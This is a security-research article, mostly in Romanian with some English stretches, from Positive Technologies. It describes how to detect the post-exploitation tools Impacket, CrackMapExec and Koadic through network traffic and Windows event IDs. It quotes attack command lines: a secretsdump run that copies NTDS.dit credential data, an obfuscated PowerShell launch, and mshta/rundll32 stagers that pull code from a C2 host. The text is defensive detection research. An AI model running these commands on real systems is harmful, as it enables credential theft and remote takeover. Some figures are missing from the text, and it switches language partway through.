Anul de an crește numărul atacurilor în sectorul corporativ: de exemplu decât în 2016, iar în 2018 — , decât în perioada anterioară. Printre acestea se numără și incidentele în care sistemul de operare principal utilizat este Windows. În anii 2017—2018, grupuri precum APT Dragonfly, APT28, au desfășurat atacuri asupra organizațiilor guvernamentale și militare din Europa, America de Nord și Arabia Saudită. Acestea au folosit trei instrumente — , și . Codul lor sursă este deschis și disponibil pe GitHub.
Este de menționat că aceste instrumente nu sunt folosite pentru pătrunderea inițială, ci pentru extinderea atacului în interiorul infrastructurii. Atacatorii le utilizează în diferite etape ale atacului, care urmează după depășirea perimetrului. Acest lucru, trebuie spus, este greu de detectat și adesea se realizează doar cu ajutorul tehnologiilor sau a instrumentelor care permit . Instrumentele oferă o gamă largă de funcții - de la transferul fișierelor la interacțiunea cu registrul și executarea comenzilor pe un calculator la distanță. Am efectuat o cercetare a acestor instrumente pentru a determina activitatea lor de rețea.
Ce trebuia să facem:
- Să înțelegem cum funcționează uneltele hackerilor. Să aflăm ce au nevoie atacatorii pentru exploatare și ce tehnologii pot utiliza.
- Să găsim lucruri care nu sunt detectate de către soluțiile de securitate informațională în stadiile inițiale ale atacului. Etapa de recunoaștere poate fi omisă, fie pentru că atacatorul este un insider, fie pentru că atacatorul profita de o breșă în infrastructură despre care nu s-a știut anterior. Se deschide posibilitatea de a recupera întreaga secvență a acțiunilor sale, de aici rezultând dorința de a detecta mișcările ulterioare.
- A elimina alertele false ale sistemelor de detections intruziune. Nu putem uita că, atunci când se descoperă anumite acțiuni bazate doar pe informații de cercetare, este posibil să apară erori frecvente. De obicei, în infrastructură există suficiente metode, care la prima vedere par legitime, pentru a obține informații.
Ce le oferă aceste instrumente atacatorilor? Dacă este vorba de Impacket, atunci infractorii beneficiază de o mare bibliotecă de module care pot fi utilizate în diferite etape ale atacului, care urmează după depășirea perimetrului. Multe instrumente folosesc module Impacket în interiorul lor — de exemplu, Metasploit. Acesta are dcomexec și wmiexec pentru executarea la distanță a comenzilor, secretsdump pentru obținerea conturilor din memorie, care sunt adăugate din Impacket. Ca urmare, detectarea corectă a activității unei astfel de biblioteci va asigura și detectarea derivatelor.
Despre CrackMapExec (sau pur și simplu CME), creatorii nu au scris întâmplător „Powered by Impacket”. În plus, CME dispune de funcționalitate gata pentru scenarii populare: include Mimikatz pentru obținerea parolelor sau a hash-urilor acestora, precum și implementarea Meterpreter sau a agentului Empire pentru execuție la distanță, având Bloodhound la bord.
Al treilea instrument ales de noi este Koadic. Acesta este destul de nou, a fost prezentat la conferința internațională de hacking DEFCON 25 în 2017 și se distinge printr-o abordare neobișnuită: funcționează prin HTTP, JavaScript și Microsoft Visual Basic Script (VBS). Această abordare este denumită living off the land: instrumentul folosește un set de dependențe și biblioteci încorporate în Windows. Creatorii îl numesc COM Command & Control, sau C3.
IMPACKET
Funcționalitatea Impacket este foarte variată, începând de la cercetarea în interiorul AD și colectarea de date de pe serverele interne MS SQL, până la tehnicile de obținere a acreditivelor: aceasta include atacul SMB relay și obținerea de la controlerul de domeniu a fișierului ntds.dit, care conține hash-urile parolelor utilizatorilor. De asemenea, Impacket execută comenzi de la distanță folosind patru moduri diferite: prin WMI, serviciul de gestionare a planificatorului Windows, DCOM și SMB, iar pentru aceasta are nevoie de acreditive.
Secretsdump
Să analizăm secretsdump. Acesta este un modul care poate viza atât mașinile utilizatorilor, cât și controlerele de domeniu. Cu ajutorul său, se pot obține copii ale zonelor de memorie LSA, SAM, SECURITY, NTDS.dit, astfel încât poate fi observat în diferite etape ale atacului. Primul pas în funcționarea modulului este autentificarea prin SMB, pentru care este necesar fie parola utilizatorului, fie hash-ul acesteia pentru a efectua automat atacul Pass the Hash. Apoi urmează cererea de acces la Service Control Manager (SCM) și obținerea accesului la registru prin protocolul winreg, folosind care atacatorul poate afla datele ramurilor de interes și poate obține rezultatele prin SMB.
În figura 1, vedem cum se obține accesul la cheia registrului prin protocolul winreg. Pentru aceasta se folosește comanda DCERPC cu opcode 15 — OpenKey.

Figura 1. Deschiderea cheii registrului prin protocolul winreg
Apoi, când accesul la cheie este obținut, se salvează valorile prin comanda SaveKey cu opcode 20. Impacket face acest lucru într-un mod destul de specific. Salvează valorile într-un fișier, al cărui nume este un șir de 8 caractere aleatorii cu adăugarea .tmp. În plus, descărcarea ulterioară a acestui fișier se face prin SMB din directorul System32 (figura 2).

Figura 2. Schema obținerii cheii registrului de pe o mașină remote
Astfel, se poate detecta o astfel de activitate în rețea prin cererile adresate anumitor ramuri ale registrului prin protocolul winreg, nume specifice, comenzi și ordinea lor.
De asemenea, acest modul lasă urme în jurnalul de evenimente Windows, datorită căruia este ușor de detectat. De exemplu, în urma executării comenzii
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCîn jurnalul Windows Server 2016, vom observa următoarea secvență cheie de evenimente:
1. 4624 — logon de la distanță.
2. 5145 — verificarea drepturilor de acces la serviciul remote winreg.
3. 5145 — verificarea drepturilor de acces la fișier în directorul System32. Fișierul are un nume aleatoriu, menționat mai sus.
4. 4688 — crearea procesului cmd.exe, care rulează vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 — crearea procesului cu comanda:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 — crearea procesului cu comanda:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 — crearea procesului cu comanda:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
La fel ca multe instrumente pentru post-exploatare, Impacket are module pentru execuția de comenzi de la distanță. Ne vom concentra pe smbexec, care oferă un shell interactiv pe mașina de la distanță. Acest modul necesită, de asemenea, autentificare prin SMB fie cu o parolă, fie cu hash-ul acesteia. În figura 3 vedem un exemplu de utilizare a acestui instrument, în acest caz este consola administratorului local.

Figura 3. Consola interactivă smbexec
Primul pas al funcționării smbexec după autentificare este deschiderea SCM cu comanda OpenSCManagerW (15). Cererea este notabilă: câmpul MachineName are valoarea DUMMY.

Figura 4. Cererea pentru deschiderea Service Control Manager
Apoi, se creează un serviciu folosind comanda CreateServiceW (12). În cazul smbexec, putem observa de fiecare dată aceeași logică de construcție a comenzii. În figura 5, parametrii care nu se schimbă sunt marcați cu verde, iar cei pe care atacatorul îi poate schimba sunt marcați cu galben. Nu este greu de observat că numele fișierului executabil, directorul său și fișierul de output pot fi schimbate, dar restul este mai greu de modificat fără a întrerupe logica de funcționare a modulului Impacket.

Figura 5. Cererea pentru crearea unui serviciu cu ajutorul Service Control Manager
Smbexec lasă, de asemenea, urme evidente în jurnalul de evenimente Windows. În jurnalul Windows Server 2016 pentru consola interactivă cu comanda ipconfig vom vedea următoarea secvență cheie de evenimente:
1. 4697 — instalarea serviciului pe mașina victimei:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 — crearea procesului cmd.exe cu argumentele din punctul 1.
3. 5145 — verificarea drepturilor de acces la fișierul __output din directorul C$.
4. 4697 — instalarea serviciului pe mașina victimei.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 — crearea procesului cmd.exe cu argumentele din punctul 4.
6. 5145 — verificarea drepturilor de acces la fișierul __output din directorul C$.
Impacket este baza pentru dezvoltarea instrumentelor de atac. Acesta susține aproape toate protocoalele din infrastructura Windows și are caracteristici distinctive. Aici sunt inclusi cererile specifice winreg, utilizarea SCM API cu formarea caracteristică a comenzilor, formatul numelui fișierelor și sistemul de împărtășire SMB SYSTEM32.
CRACKMAPEXEC
Instrumentul CME este creat în primul rând pentru a automatiza acele acțiuni de rutină pe care un atacator trebuie să le efectueze pentru a avansa în rețea. Permite interacțiune cu binecunoscutele Empire agent și Meterpreter. Pentru a executa comenzile în mod discret, CME le poate obfusca. Folosind Bloodhound (un instrument separat pentru cercetare), atacatorul poate automatiza căutarea unei sesiuni active a administratorului de domeniu.
Bloodhound
Bloodhound, ca instrument de sine stătător, permite efectuarea unei cercetări avansate în rețea. Acesta colectează date despre utilizatori, mașini, grupuri, sesiuni și se livrează sub forma unui script PowerShell sau a unui fișier binar. Pentru colectarea informațiilor se folosesc LDAP sau protocoale bazate pe SMB. Modulul de integrare CME permite încărcarea Bloodhound pe mașina victimei, execuția acestuia și obținerea datelor colectate după desfășurare, automatizând astfel acțiunile din sistem și făcându-le mai puțin evidente. Interfața grafică a Bloodhound prezintă datele colectate sub formă de grafuri, facilitând găsirea celei mai scurte căi de la mașina atacatorului la administratorul de domeniu.

Fig. 6. Interfața Bloodhound
Pentru a fi lansat pe mașina victimei, modulul creează o sarcină folosind ATSVC și SMB. ATSVC este interfața pentru a lucra cu programatorul de sarcini Windows. CME folosește funcția sa NetrJobAdd (1) pentru a crea sarcini prin rețea. Un exemplu a ceea ce trimite modulul CME este prezentat în fig. 7: acesta este apelul comenzii cmd.exe și codul obfuscat sub formă de argumente în format XML.

Fig. 7. Crearea unei sarcini prin CME
După ce sarcina a fost trimisă spre executare, mașina victimei lansează Bloodhound, iar acest lucru poate fi observat în traficul de rețea. Modulul are caracteristici de cereri LDAP pentru a obține grupuri standard, lista tuturor mașinilor și utilizatorilor din domeniu, obținerea informațiilor despre sesiuni active ale utilizatorilor prin cererea SRVSVC NetSessEnum.

Fig. 8. Obtaining a list of active sessions via SMB
Additionally, running Bloodhound on the victim's machine with auditing enabled is accompanied by an event with ID 4688 (process creation) and the process name "C:WindowsSystem32cmd.exe". Noteworthy are the command line arguments:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "Enum_avproducts
The module enum_avproducts is quite interesting in terms of functionality and implementation. WMI allows querying data about various Windows objects using the WQL query language, which is exactly what this CME module utilizes. It sends queries to the AntiSpywareProduct and AntiMalwareProduct classes about the protection tools installed on the victim's machine. To obtain the necessary data, the module connects to the namespace rootSecurityCenter2, then constructs a WQL query and retrieves a response. Fig. 9 shows the content of such queries and their responses. In our example, Windows Defender was found.

Fig. 9. Network activity of the enum_avproducts module
WMI auditing (Trace WMI-Activity), where useful information about WQL queries can often be found, may be turned off. However, if enabled, when running the enum_avproducts script, an event with ID 11 will be saved. It will contain the username that sent the query and the name in the rootSecurityCenter2 namespace.
Each of the CME modules has its own artifacts, whether specific WQL queries or the creation of a certain type of task in the task scheduler with obfuscation and characteristic Bloodhound activity in LDAP and SMB.
KOADIC
A distinctive feature of Koadic is the use of built-in Windows interpreters for JavaScript and VBScript. In this regard, it follows the living off the land trend — that is, it has no external dependencies and uses standard Windows tools. This is a complete Command & Control (CnC) tool, as after infection an "implant" is installed on the machine allowing control. Such a machine is termed a "zombie" in Koadic terminology. When privileges are insufficient for full operation on the victim's side, Koadic has the ability to escalate them using user account control (UAC bypass) evasion techniques.

Fig. 10. Koadic Command Shell
Victima trebuie să inițieze singură comunicarea cu serverul Command & Control. Pentru aceasta, trebuie să acceseze un URI pregătit din timp și să obțină corpul principal Koadic folosind unul dintre stageri. În figura 11 este prezentat un exemplu pentru stagerul mshta.

Fig. 11. Inițializarea sesiunii cu serverul CnC
Din variabila WS a răspunsului se înțelege că execuția se realizează prin WScript.Shell, iar variabilele STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE conțin informații cheie despre parametrii sesiunii curente. Aceasta este prima pereche cerere-răspuns în conexiunea HTTP cu serverul CnC. Cererile ulterioare sunt direct legate de funcționalitatea modulelor apelate (implanturilor). Toate modulele Koadic funcționează doar cu o sesiune activă cu CnC.
Mimikatz
Așa cum CME lucrează cu Bloodhound, Koadic lucrează cu Mimikatz ca o programă separată și are mai multe modalități de a o lansa. Mai jos este prezentată o pereche cerere-răspuns pentru încărcarea implantului Mimikatz.

Fig. 12. Transferul Mimikatz în Koadic
Se poate observa cum s-a schimbat formatul URI în cerere. A apărut o valoare pentru variabila csrf, care răspunde modulului selectat. Nu acordați atenție numelui său; toți știm că de obicei CSRF se referă la altceva. În răspuns s-a primit același corp principal Koadic, în care a fost adăugat codul legat de Mimikatz. Este suficient de mare, așa că vom analiza aspectele cheie. În fața noastră se află o bibliotecă Mimikatz codificată în base64, o clasă .NET serializată care o va injecta și argumentele pentru a lansa Mimikatz. Rezultatul execuției este transmis prin rețea în formă deschisă.

Fig. 13. Rezultatul execuției Mimikatz pe mașina remote
Exec_cmd
În Koadic există, de asemenea, module capabile să execute comenzi de la distanță. Aici vom vedea aceeași metodă de generare a URI-ului și variabilele familiare sid și csrf. În cazul modulului exec_cmd, în corp se adaugă cod care poate executa comenzi shell. Mai jos este prezentat un astfel de cod, conținut în răspunsul HTTP al serverului CnC.

Fig. 14. Codul implantului exec_cmd
Variabila GAWTUUGCFI cu atributul familiar WS este necesară pentru a executa codul. Cu ajutorul ei, implantul cheamă shell, procesând două ramuri de cod – shell.exec cu returnarea fluxului de date și shell.run fără returnare.
Koadic nu este un instrument tipic, dar are artefactele sale, după care poate fi găsit în traficul legitim:
- formarea specială a cererilor HTTP,
- utilizarea API-ului winHttpRequests,
- crearea obiectului WScript.Shell prin ActiveXObject,
- corp executabil mare.
Conexiunea inițială inițiază stagerele, oferind astfel posibilitatea de a-i detecta activitatea prin evenimentele Windows. Pentru mshta, acest eveniment 4688 indică crearea unui proces cu atributul de lansare:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Pe parcursul execuției Koadic, se pot observa și alte evenimente 4688 cu atribute care îl caracterizează excelent:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Conclusions
Trendul 'living off the land' câștigă popularitate în rândul infractorilor. Aceștia utilizează instrumente și mecanisme încorporate în Windows pentru nevoile lor. Observăm cum instrumentele populare Koadic, CrackMapExec și Impacket, care urmează acest principiu, apar tot mai des în rapoartele APT. Numărul fork-urilor pe GitHub pentru aceste instrumente este, de asemenea, în creștere, iar altele noi apar (acum sunt deja în jur de o mie). Trendul câștigă popularitate datorită simplității sale: infractorii nu au nevoie de instrumente externe, acestea fiind deja prezente pe mașinile victimelor și ajutând la ocolirea măsurilor de protecție. Ne concentrăm pe studierea interacțiunii de rețea: fiecare instrument descris mai sus lasă urme în traficul de rețea; studierea lor detaliată ne-a permis să ne învățăm produsul să le detecteze, ceea ce, în final, ajută la investigarea întregii lanțuri de incidente cibernetice în care sunt implicate.
Autori:
- Anton Tiurin, șeful departamentului de servicii experte, PT Expert Security Center, Positive Technologies
- Egor Podmokov, expert, PT Expert Security Center, Positive Technologies
Sursa: habr.com
